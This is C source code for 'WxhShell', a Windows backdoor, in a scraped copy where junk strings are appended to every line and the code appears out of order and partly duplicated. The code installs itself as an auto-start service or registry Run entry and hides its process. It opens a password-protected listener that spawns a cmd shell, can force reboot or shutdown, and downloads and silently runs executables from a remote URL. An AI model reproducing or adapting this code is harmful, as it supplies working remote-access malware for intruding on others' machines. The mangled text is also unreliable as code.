    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f P'qUN  
    else { 4qMqA T  
    closesocket(wsh); '<! b}1w0  
    ExitThread(0); A9Cq(L_H  
    } W4n;U-Hb  
    break; _BGw)Z 6  
    } iSD E6  
  // 获取shell -*xm<R],  
  case 's': { 533n z8&9@  
    CmdShell(wsh); M- inlZNR  
    closesocket(wsh); GJ YXCi  
    ExitThread(0); Hy4c{Ij  
    break; lAjP'(  
  } g<C_3ap/  
  // 退出 05= $Dnv  
  case 'x': { nx{_^sK  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 1Rrp#E}  
    CloseIt(wsh); lmmB=F  
    break; )P&>Tc?;z  
    } b(^gv  
  // 离开 R9=K/  
  case 'q': { :cDhqBMNr`  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); F3BWi[Xh  
    closesocket(wsh); .Up\ 0|b  
    WSACleanup(); `qP <S  
    exit(1); E=N44[`.G  
    break; X|o;*J](  
        } &f12Q&jY7  
  } *Uq1 q  
  } /u hA\m(  
8?p40x$m%  
  // 提示信息 xd[GJ;xvs  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); zj~(CNE  
} &8kc0Z@y  
  } o }EipTL  
q. zBm@:  
  return; .KzGb4U  
} oW0A8_|9  
#jY\l&E  
// shell模块句柄 w5j6RQml  
int CmdShell(SOCKET sock)  m}t.E  
{ lr >:S  
STARTUPINFO si; 7Jm&z/  
ZeroMemory(&si,sizeof(si)); 2oY.MQD7iW  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 7d9kr?3(U  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; N(*Xjy+PX  
PROCESS_INFORMATION ProcessInfo; uJBs3X  
char cmdline[]="cmd"; +w'"N  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Cxn<#Kf\-<  
  return 0; n^} -k'l  
} cJ CKxj  
JCL+uEX4S  
// 自身启动模式 YIP /N  
int StartFromService(void) +Ce[OG.  
{ .Vohd@s9l  
typedef struct 2Fi ~GY_  
{ Ino$N|G[  
  DWORD ExitStatus; G~$.Af!9W  
  DWORD PebBaseAddress; j`fQN  
  DWORD AffinityMask; "c0I2wq  
  DWORD BasePriority; 2(SU# /,  
  ULONG UniqueProcessId; u%TZ),ny-  
  ULONG InheritedFromUniqueProcessId; )@vhqVv?  
}   PROCESS_BASIC_INFORMATION; ' 7lHWqN<  
VnZRsFY<^  
PROCNTQSIP NtQueryInformationProcess; %kS4v,I  
h=:*cqp4  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; {P'_s ]B)  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Yf=an`"  
{B!LhvYAH  
  HANDLE             hProcess; gD13(G98  
  PROCESS_BASIC_INFORMATION pbi; W6e,S[J^FY  
J^!2F}:  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); *3uBS2Ld  
  if(NULL == hInst ) return 0; E{LLxGAEZ  
S]}hh,A  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); \wJ2>Q  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); :\!D 6\o6  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 5Kadh2nz  
$#ve^.VHv  
  if (!NtQueryInformationProcess) return 0; w5C$39e\G  
\?$`dA[  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); n7|8`? R^  
  if(!hProcess) return 0; uwL^Tq}Yh  
mp !S<m  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; P{bRRn4Z  
[NxC7p:Lo  
  CloseHandle(hProcess); _#dBcEH[  
6-fdfU  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Bf21u 9  
if(hProcess==NULL) return 0; "jUM}@q5  
Q!91uNL  
HMODULE hMod; 6>yfm4o  
char procName[255]; vvTQ!Aa  
unsigned long cbNeeded; |Ix{JP"Lk  
Daw;6f:  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ]ZMFK>"^%  
3)6TnY/u6{  
  CloseHandle(hProcess); FI(iqSJ6  
PM?F;mj  
if(strstr(procName,"services")) return 1; // 以服务启动 IjPCaH.:t  
s3/iG37K  
  return 0; // 注册表启动 cXd?48O  
} ^t$xR_  
Irc(5rD7   
// 主模块 A6?!BB=]  
int StartWxhshell(LPSTR lpCmdLine) > u!# 4  
{ 5r)]o'? s  
  SOCKET wsl; @ Y&UP  
BOOL val=TRUE; Y'{F^VxA/  
  int port=0; V0/PjD,jP  
  struct sockaddr_in door; m-HL7&iG$  
W{i s2s  
  if(wscfg.ws_autoins) Install(); ~Z>!SMXp<  
)Jaq5OMA/  
port=atoi(lpCmdLine); mm:g9j  
8#{DBWU  
if(port<=0) port=wscfg.ws_port; @}<b42  
@2;/-,4O  
  WSADATA data; IA;'5IF  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; aGml!N5'  
#]kO/Mr  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   cuoZ:Wh  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); q2e=(]rKE{  
  door.sin_family = AF_INET; (MGYX_rD  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 2X,`t%o  
  door.sin_port = htons(port); =L]GQ=d  
T^DJ/uhd  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { tJvs ?eZ)  
closesocket(wsl); J=t@2  
return 1; rQsYt/  
} %F}i2!\<L  
7t3ps  
  if(listen(wsl,2) == INVALID_SOCKET) { fc<~R  
closesocket(wsl); ' 4.T1i,  
return 1; ?0x=ascP  
} xO{$6M3-~  
  Wxhshell(wsl); gLK_b;:  
  WSACleanup(); EdTR]}8  
x~u"KU2B  
return 0; -R-yr.$j*  
[T(`+ #f  
}  \RS ,Y  
8'* /|)Hn  
// 以NT服务方式启动 vLs*}+f  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 7V2xg h!W  
{ [ 0z-X7=e  
DWORD   status = 0; ECk* H  
  DWORD   specificError = 0xfffffff; a7}O.NDf  
P$zhMnAAN  
  serviceStatus.dwServiceType     = SERVICE_WIN32; M.9w_bW]#D  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; %j/}e>$"Nk  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; R.Kz nJ  
  serviceStatus.dwWin32ExitCode     = 0; \YPv pUg  
  serviceStatus.dwServiceSpecificExitCode = 0; 1<;VD0XX  
  serviceStatus.dwCheckPoint       = 0; K/0Wp %  
  serviceStatus.dwWaitHint       = 0; :E.T2na  
8l*h\p:Q  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); zG)vmysJf  
  if (hServiceStatusHandle==0) return; x c|1?AFj  
3}lIY7 O  
status = GetLastError(); 2j&0U!DX  
  if (status!=NO_ERROR) # TZ`   
{ /s@j{*Om  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; :3[;9xCHj  
    serviceStatus.dwCheckPoint       = 0; *)L~1;7j>  
    serviceStatus.dwWaitHint       = 0; @77+K:9I 7  
    serviceStatus.dwWin32ExitCode     = status; p$}/~5b}4  
    serviceStatus.dwServiceSpecificExitCode = specificError; #$;}-*  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); P9)L1l<3I  
    return; !j/54,  
  } I2WWhsNC  
`<-/e%8  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; |W*5<2Q9  
  serviceStatus.dwCheckPoint       = 0; *).!  
  serviceStatus.dwWaitHint       = 0; Nw '$r  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); m=25HH7enb  
} (>uA(#Z  
Z*'<9l_1  
// 处理NT服务事件,比如:启动、停止 tgj 5l#P  
VOID WINAPI NTServiceHandler(DWORD fdwControl) t +|t/1s2  
{ Q <ulh s  
switch(fdwControl) P#}vi$dZ  
{ Sx1|Oq]  
case SERVICE_CONTROL_STOP: 49ehj1Se  
  serviceStatus.dwWin32ExitCode = 0; Zb&"W]HSf  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; S9[Y1qH>K  
  serviceStatus.dwCheckPoint   = 0; BO2s(8  
  serviceStatus.dwWaitHint     = 0; r>gf&/Pl  
  { @hwNM#>`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `A#0If  
  } fw5+eTQ^  
  return; y>cLG5v  
case SERVICE_CONTROL_PAUSE: Vha,rIi  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; :!^NjO  
  break; -qBdcbi|x)  
case SERVICE_CONTROL_CONTINUE: >7r%k,`  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; L)qUBp@MW  
  break; J50n E~  
case SERVICE_CONTROL_INTERROGATE: { <1uV']x  
  break; E;, __  
}; z4(`>z2a  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); u@tH6k*cBz  
} [930=rF*  
Sk-Q 4D^  
// 标准应用程序主函数  tN.$4+  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) !MVf(y$  
{ 0+&K;  
wp83E,  
// 获取操作系统版本 {|@}xrB  
OsIsNt=GetOsVer(); U2LD_-HZ  
GetModuleFileName(NULL,ExeFile,MAX_PATH); t|s(V-Wq  
^rd%{ 6m  
  // 从命令行安装 'u%vpvF  
  if(strpbrk(lpCmdLine,"iI")) Install(); _.E{>IFw  
*U}-Y*  
  // 下载执行文件 *>2e4j]  
if(wscfg.ws_downexe) { gW<4E=fl  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) =l:k($%%  
  WinExec(wscfg.ws_filenam,SW_HIDE); e tL?UF$  
} 0$0 215  
`PUxR8y  
if(!OsIsNt) { l`uMtv/Wp  
// 如果时win9x,隐藏进程并且设置为注册表启动 dkY JO!  
HideProc(); )a5ON8?  
StartWxhshell(lpCmdLine);  ZpMv16  
} 'nq~1 >i  
else 59p'U/|  
  if(StartFromService()) 3t9CN )*  
  // 以服务方式启动 =qbN?a/?2  
  StartServiceCtrlDispatcher(DispatchTable); Ya> AI.!K  
else 2h#.:!/SMw  
  // 普通方式启动 Bp@\p)P(  
  StartWxhshell(lpCmdLine); ~d3@x\I?  
3ZI:EZ5  
return 0; oRJ!TAbD  
} nLmF5.&  
J"@X>n  
Ux{0)"fj  
,0ilNi>  
=========================================== {'[VL;k  
TvS<;0~K  
8)1=5 n  
}_F:]lI*R  
Q2)(tB= )  
|@d}O8  
" US=K}B=g  
7 h0u7N  
#include <stdio.h> SAj#+_db  
#include <string.h> 7+}WU4  
#include <windows.h> R'6(eA[K  
#include <winsock2.h> E:k]Z  
#include <winsvc.h> N{ $?u  
#include <urlmon.h> SSTn |  
VbMud]40F  
#pragma comment (lib, "Ws2_32.lib") isdNW l  
#pragma comment (lib, "urlmon.lib") Aqz $WTHW+  
A.@wGy4  
#define MAX_USER   100 // 最大客户端连接数 W}"tf L8  
#define BUF_SOCK   200 // sock buffer fI2 y(p{?  
#define KEY_BUFF   255 // 输入 buffer S8+l!$7   
Z!Z{Gm3  
#define REBOOT     0   // 重启 DU)q]'[u  
#define SHUTDOWN   1   // 关机 yPe9KN_  
ssS"X@VZ \  
#define DEF_PORT   5000 // 监听端口 Mk=*2=d  
N` $F>E,T%  
#define REG_LEN     16   // 注册表键长度 fAz4>_4  
#define SVC_LEN     80   // NT服务名长度 V6_5v+n  
jJNl{nyq  
// 从dll定义API 0v9i43[S|J  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); o8H\l\(  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); B u%%O8  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); |Kjfh};-C  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 6d6Dk>(V  
isy[RAP<  
// wxhshell配置信息 Y~Vc|zM^(  
struct WSCFG { 2L[!~h2  
  int ws_port;         // 监听端口 3Nwix_&S  
  char ws_passstr[REG_LEN]; // 口令 n[r1h=?j3  
  int ws_autoins;       // 安装标记, 1=yes 0=no PhV/WjCZ  
  char ws_regname[REG_LEN]; // 注册表键名 ZR%$f-  
  char ws_svcname[REG_LEN]; // 服务名 t9*e"QH  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 oR!h eCnu  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 5} <OB-9  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 0u&x%c  
int ws_downexe;       // 下载执行标记, 1=yes 0=no J>G'H)  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" u|.|dv'mbp  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 m\CU,9;;(  
[\ Sd*-  
}; {oF;ZM'r  
g:xg ~H2  
// default Wxhshell configuration ]bmf}&  
struct WSCFG wscfg={DEF_PORT, &iq'V*+-\  
    "xuhuanlingzhe", yS:w>xU @<  
    1, )c1Pj#|  
    "Wxhshell", 5D?{dA:Rq  
    "Wxhshell", " W{rS4L  
            "WxhShell Service", jk_yrbLc  
    "Wrsky Windows CmdShell Service", ;;rx)|\<R  
    "Please Input Your Password: ", iRcac[uV  
  1, } _];yw  
  "http://www.wrsky.com/wxhshell.exe", sa/9r9hc+  
  "Wxhshell.exe" $!!y v'K  
    }; VKu_ l  
xaB#GdD  
// 消息定义模块 U HTxNK@}  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; $G}k'[4C  
char *msg_ws_prompt="\n\r? for help\n\r#>"; s!yD%zO  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; H8B.c%_|U  
char *msg_ws_ext="\n\rExit."; ._;It198f  
char *msg_ws_end="\n\rQuit."; zL50|U0H  
char *msg_ws_boot="\n\rReboot..."; p`Tl)[*  
char *msg_ws_poff="\n\rShutdown..."; |HJ`uGN<b  
char *msg_ws_down="\n\rSave to "; 5 3pfo:1'  
mr_NArF  
char *msg_ws_err="\n\rErr!"; .wWf#bB  
char *msg_ws_ok="\n\rOK!"; J|o<;9dg1  
/:BC<]s  
char ExeFile[MAX_PATH]; )@y'$)5s  
int nUser = 0; LV0gw"  
HANDLE handles[MAX_USER]; jJ@@W~/)B  
int OsIsNt; < 0S\P=\  
$:-C9N29  
SERVICE_STATUS       serviceStatus; Z$m&F0g  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; tBwPB#:W  
)PkGT~3I  
// 函数声明 j\Fbi3H  
int Install(void); H.l WHM+H4  
int Uninstall(void); [!} uj`e  
int DownloadFile(char *sURL, SOCKET wsh); " ;8kKR  
int Boot(int flag); LS# _K-  
void HideProc(void); c^&:':Z%'  
int GetOsVer(void); {+kWK;1  
int Wxhshell(SOCKET wsl); 4IM&#_6  
void TalkWithClient(void *cs); %)^0NQv  
int CmdShell(SOCKET sock); y|9 LtQ  
int StartFromService(void); GIR12%-EO  
int StartWxhshell(LPSTR lpCmdLine);  Spo[JQ%6  
~aL?{kb+  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); t)(>E'X x  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); SokU9n!  
cyL|.2,  
// 数据结构和表定义 jt9@aN.mJN  
SERVICE_TABLE_ENTRY DispatchTable[] = 0d`lugf  
{  f|yq~3x)  
{wscfg.ws_svcname, NTServiceMain}, 1ahb:Mjv  
{NULL, NULL} :O;uP_r9  
}; ??P3gA  
5(Xq58nhxI  
// 自我安装 IueI7A  
int Install(void) J+hifO  
{ lgHzI(  
  char svExeFile[MAX_PATH]; mT1Q7ta*P  
  HKEY key; *vzj(HGO  
  strcpy(svExeFile,ExeFile); pSpxd |k  
h#|Ac>fz  
// 如果是win9x系统,修改注册表设为自启动 K*j1Fy:  
if(!OsIsNt) { -N2m|%B  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "+4r4  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .8CfCRq  
  RegCloseKey(key); LQ"xm  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { h&b s`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *AYjMCo  
  RegCloseKey(key); M:K4o%  
  return 0; KVpQ,x&q~  
    } Xkp`1UTH  
  } (i^<er q  
} 3HX-lg`0  
else { Vvl8P|x.<  
FzFP 0  
// 如果是NT以上系统,安装为系统服务 @'?7au ''  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); X.ZY1vO  
if (schSCManager!=0) LO ,k'gg<  
{ (R{z3[/u&  
  SC_HANDLE schService = CreateService ]-u>HO g\  
  ( ew8Manx  
  schSCManager, x[YW 3nF  
  wscfg.ws_svcname, K%>3ev=y.s  
  wscfg.ws_svcdisp, T7 XbbU  
  SERVICE_ALL_ACCESS, "& q])3h=  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , GG`;c?d@  
  SERVICE_AUTO_START, +0n,>eDjg^  
  SERVICE_ERROR_NORMAL, kS(v|d  
  svExeFile, |f"1I4K g  
  NULL, d0 yZ9-t  
  NULL, 1|#j/  
  NULL, T9Pu V  
  NULL, !tv+,l&L  
  NULL ?rububDT{  
  ); tumYZ)nW  
  if (schService!=0) 7.1FRxS  
  { UL\gcZ Zkl  
  CloseServiceHandle(schService); $PKUcT0N9  
  CloseServiceHandle(schSCManager); q8f nUK?i  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ln=:E$jX  
  strcat(svExeFile,wscfg.ws_svcname); MG0d&[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { JAcNjzL  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); P}bwEj  
  RegCloseKey(key); #jR1ti)p  
  return 0; "Bbd[ZI8  
    } TY *q[AWG  
  } 3!KEk?I]  
  CloseServiceHandle(schSCManager); G_n~1?  
} BZWGXzOFh  
} &dI;o$t  
_8nT$!\\  
return 1; _'DZoOH|VE  
} sBm/9vu  
)qV&sru.$  
// 自我卸载 UG<`m]  
int Uninstall(void) q|7$@H^*  
{ ^G]H9qY- e  
  HKEY key; [i)G:8U  
:s'hXo  
if(!OsIsNt) { *%`jcF  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 05Go*QvV  
  RegDeleteValue(key,wscfg.ws_regname); d<B=p&~  
  RegCloseKey(key); p*S;4+>#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #^&.*' z%z  
  RegDeleteValue(key,wscfg.ws_regname); B(|dT66K  
  RegCloseKey(key); /QCyA%y  
  return 0; aXO|% qX  
  } '2.11cM3  
} 2k3yf_N  
} 8NzXe 7  
else { b9@VD)J0E  
GLIP;)h1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); G`r*)pdm  
if (schSCManager!=0) f'3sT(1&  
{ 4 Gm(P~N  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); O:3DIT1#>  
  if (schService!=0) oc3}L^aD  
  { d8Kxtg Y  
  if(DeleteService(schService)!=0) { z ''-AH,  
  CloseServiceHandle(schService); 4\%XC F!  
  CloseServiceHandle(schSCManager); ``4lomz>  
  return 0; M~&X?/8  
  } o{&UT VyGs  
  CloseServiceHandle(schService); Jz6,2,LN  
  } r@m2foaO  
  CloseServiceHandle(schSCManager); Bpw<{U  
} >ey- j\_v  
} `2Oh0{x0*O  
B 8ycr~  
return 1; X@n\~[.B  
} T{%'"mm;  
L7lRh=D  
// 从指定url下载文件 cWA$O*A  
int DownloadFile(char *sURL, SOCKET wsh) SZ m)`r\A  
{ p-t*?p C  
  HRESULT hr; W^^}-9  
char seps[]= "/"; )4P5i b  
char *token; dnP3{!"b  
char *file; ?~5J!|r#  
char myURL[MAX_PATH]; BsX# ~  
char myFILE[MAX_PATH]; = 5 E:CP  
!bHM:!6^  
strcpy(myURL,sURL); %g>{m2o  
  token=strtok(myURL,seps); hsUP5_  
  while(token!=NULL) /:}z*a  
  { tyLR_@i%%  
    file=token; 9#;UQ.qA  
  token=strtok(NULL,seps); +i[w& P  
  } 6v9{ $:  
ymsqJ   
GetCurrentDirectory(MAX_PATH,myFILE); HGgw<Os-k  
strcat(myFILE, "\\"); Dg LSDKO!  
strcat(myFILE, file); 2F[;Z*&  
  send(wsh,myFILE,strlen(myFILE),0); !I? J^0T  
send(wsh,"...",3,0); CKTD27})  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ^gdg0y!5~  
  if(hr==S_OK) n>dM OQb  
return 0; L^`oJ9k!  
else ibOXh U  
return 1; Wsr #YNhx|  
S %"7`xl  
} Ik#>6  
YJ5;a\QxN  
// 系统电源模块 N[$(y} !s  
int Boot(int flag) (8r?'H8ZO  
{ 8<g_JW[%  
  HANDLE hToken; V#TA%>  
  TOKEN_PRIVILEGES tkp;  5m+:GiI  
aNW&ib  
  if(OsIsNt) { N[}XLhbt  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Kg@9kJB  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); qvOBvUR}  
    tkp.PrivilegeCount = 1; MjI}fs<   
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; EMH?z2iGd  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); @ %z5]w  
if(flag==REBOOT) { &%Hj.  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) )_EobE\  
  return 0; 0zpP$q$  
} 33\b@F7b  
else { nm'm*sU\  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) q<JI!n1O  
  return 0; JoZC+G  
} CRWO R pP  
  } $^7 &bQ  
  else { ,XP9NHE  
if(flag==REBOOT) { qRB7I:m-Wi  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) No[xf9>t  
  return 0; q@(N 38D  
} "_)   
else { xDr *|d  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) .: 7h=neEW  
  return 0; o7 !@WOeZ3  
} dm$:xE":  
} 72-@!Z0e  
!s)2H/KM8  
return 1; `%ymg8^  
} <{-DYRiN  
g1J]z<&  
// win9x进程隐藏模块 Vxgc|E^J  
void HideProc(void) <E\BKC%M  
{ ;U`HvIch  
b'-gy0  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); [1vrv(u>  
  if ( hKernel != NULL ) .Yu,&HR  
  { -`?V8OwY]  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ;5=pBP.  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 7SqsVq`[~  
    FreeLibrary(hKernel); Y66 vJ<lM  
  } HRw,D=  
*smo{!0Gg  
return; #-V Kk  
} N]=.I   
W4YC5ZH{l  
// 获取操作系统版本 MoF Z  
int GetOsVer(void) Ahebr{u  
{ 7I.[1V`  
  OSVERSIONINFO winfo; ]CL70+[^9  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); %Bo Jt-v  
  GetVersionEx(&winfo); {jq-dL  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ]JM9 ^F  
  return 1; \m.{^Xd~  
  else I%s/h4x^B[  
  return 0; 9%dNktt  
} . }1!MK5  
0+H"$2/  
// 客户端句柄模块 Yp;x  
int Wxhshell(SOCKET wsl) UmJg-~  
{ JL$RBr  
  SOCKET wsh; C eg6 o &^  
  struct sockaddr_in client; @F1pu3E  
  DWORD myID; e'?(`yW>  
lk'RWy"pw  
  while(nUser<MAX_USER) f Gfv{4R  
{ %$}iM<  
  int nSize=sizeof(client); l;C_A;y\  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); `<Ftn  
  if(wsh==INVALID_SOCKET) return 1; :H87x?e[  
9PBmBP ~  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); SW=p5@Hy{  
if(handles[nUser]==0) lV 1|\~?4  
  closesocket(wsh); R's xa*VB  
else +l#2u#e  
  nUser++; ,8 .`;  
  } =sm(Z ;"  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Nf~<xK  
cZ(XY}  
  return 0; a"zoDD/  
} ZA P+jX;  
(/Mc$V  
// 关闭 socket :z:Blp>nK/  
void CloseIt(SOCKET wsh) ,yF)7fN  
{ pqe tYu  
closesocket(wsh); f0F$*"#G  
nUser--; tX_eN  
ExitThread(0); #.@=xhK/  
} pA2U+Q@  
Dn[1BWM/7  
// 客户端请求句柄 ,y>Na{@Y  
void TalkWithClient(void *cs) ymzm x$o=  
{ W< n`[  
=bDG|:+  
  SOCKET wsh=(SOCKET)cs; sHF vzE%  
  char pwd[SVC_LEN]; L`#+ZLo  
  char cmd[KEY_BUFF]; U,=K_oBAq  
char chr[1]; ,uv$oP-  
int i,j; Y!L jy [/  
$o/>wgQY-  
  while (nUser < MAX_USER) { X=3@M_Jzo  
r>Ln*R,9D  
if(wscfg.ws_passstr) { CytpL`&^]  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !r|X6`g  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); I?K0bs+6  
  //ZeroMemory(pwd,KEY_BUFF); #jX>FXo  
      i=0; x3Ud0[(  
  while(i<SVC_LEN) { `T70FsSJ  
a3;.{6el)H  
  // 设置超时 qo@dFKy  
  fd_set FdRead; BGX@n#:  
  struct timeval TimeOut; b5DrwX{Ff  
  FD_ZERO(&FdRead); &f*dFUM]I  
  FD_SET(wsh,&FdRead); 0REWbcxd"  
  TimeOut.tv_sec=8; 4i,SiFKB  
  TimeOut.tv_usec=0; }>0 Kc=  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); q8Dwu3D  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); HhvG#Sam!  
:j ~5(K"  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ju]]|  
  pwd=chr[0]; `xUPML-  
  if(chr[0]==0xd || chr[0]==0xa) { ^mi4q[PM  
  pwd=0; Y9;Mey*oW  
  break; C~qhwwh  
  } ??Zmj:8E'  
  i++; sh ;uKzQ  
    } j;)g+9`  
~-5@- V  
  // 如果是非法用户,关闭 socket c~xo@[NaS  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); BuTIJb+Q\  
} ImY.HB^&  
ozC!q)j  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); hli 10p$  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |l xy< C4V  
?Z>.G{Wm@  
while(1) { "Vq]|j,B/c  
Nb~dw;t  
  ZeroMemory(cmd,KEY_BUFF); #[y<h3f]  
;YDF*~9u  
      // 自动支持客户端 telnet标准   Eap/7U1Q  
  j=0; m>ycN  
  while(j<KEY_BUFF) { N@6OQ:,[F  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `{F~'t['  
  cmd[j]=chr[0]; V:BX"$ J1  
  if(chr[0]==0xa || chr[0]==0xd) { SDHc[66'  
  cmd[j]=0; {X<4wxeTo  
  break; 4|N\Q=,  
  } *O> aqu  
  j++; pYl{:uIPN8  
    } l&*)r;9  
PgLS\_B  
  // 下载文件 i1I>RK  
  if(strstr(cmd,"http://")) { -'[(Uzj  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); [Cj}nld   
  if(DownloadFile(cmd,wsh)) <m,yFk  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ceZ8} Sh  
  else vo ;F;  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); GrR0RwnH)?  
  } 0^_lj9B!  
  else { ^ Wfgwmh  
^YR|WKY  
